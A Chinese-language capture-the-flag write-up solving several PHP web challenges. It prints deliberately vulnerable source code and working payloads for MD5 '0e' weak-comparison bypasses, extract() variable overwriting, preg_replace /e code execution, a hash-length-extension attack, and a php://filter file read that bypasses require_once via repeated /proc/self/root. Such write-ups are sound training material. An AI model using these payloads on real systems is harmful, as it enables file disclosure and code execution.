if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {echo "ez" . "<br>";
} else {die("什么情况,这么基础的md5做不来");
}
if (isset($md5) && $md5 == md5($md5)) {echo "ezez" . "<br>";
} else {die("什么情况,这么基础的md5做不来");
}
if ($XY == $XYCTF) {if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {echo $level2;} else {die("什么情况,这么基础的md5做不来");}
} else {die("学这么久,传参不会传?");
}

第一个弱比较，第二个要自己和md5都是0e

第三个把XYCTF_550102591拿去md5一下，发现是0e，所以用extract变量覆盖把$XY和$XYCTF都改一下就行，payload:

?val1=MAUXXQC&val2=MMHUWUV&md5=0e215962017&XY=MAUXXQC&XYCTF=MAUXXQC

来到第二关

php"><?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {echo "操作你O.o";echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {die("有点汗流浃背");
}

intval，不能传数字，还有非0，所以直接传数组即可，preg_replace在学习rce时就了解过有个\e可以任意执行php代码

在这里插入图片描述

后面直接看flag即可

xyctf givemeflag

源码：

php"><?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{highlight_file(__FILE__);die($FLAG_md5);
}
$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();
if(md5($FLAG.$value.$time)===$md5)
{echo "yes, give you flag: ";echo $FLAG;
}

题目直接给了flag的md5值，所以flag就感觉是salt了，所以现在已知的hash(flag),没有M1，然后现在要求hash(flag+ext)，题目加的是时间戳，于是选个未来的时间戳即可，用脚本生成好后，在接近预定的时间前持续发送即可，

当然还需要知道flag的长度，比赛公告里就提出flag头为flag或xyctf，所以就是42或43，尝试43就出了

在这里插入图片描述

时间戳题目会加，所以提交去掉时间戳的新明文即可

在这里插入图片描述

phpdest_1137">Dest0g3 520迎新赛phpdest

源码

php"><?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once($_GET['file']);
}

这一题就是考如何绕过require_once，重复/proc/self/root即可，用php:filter读取即可

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php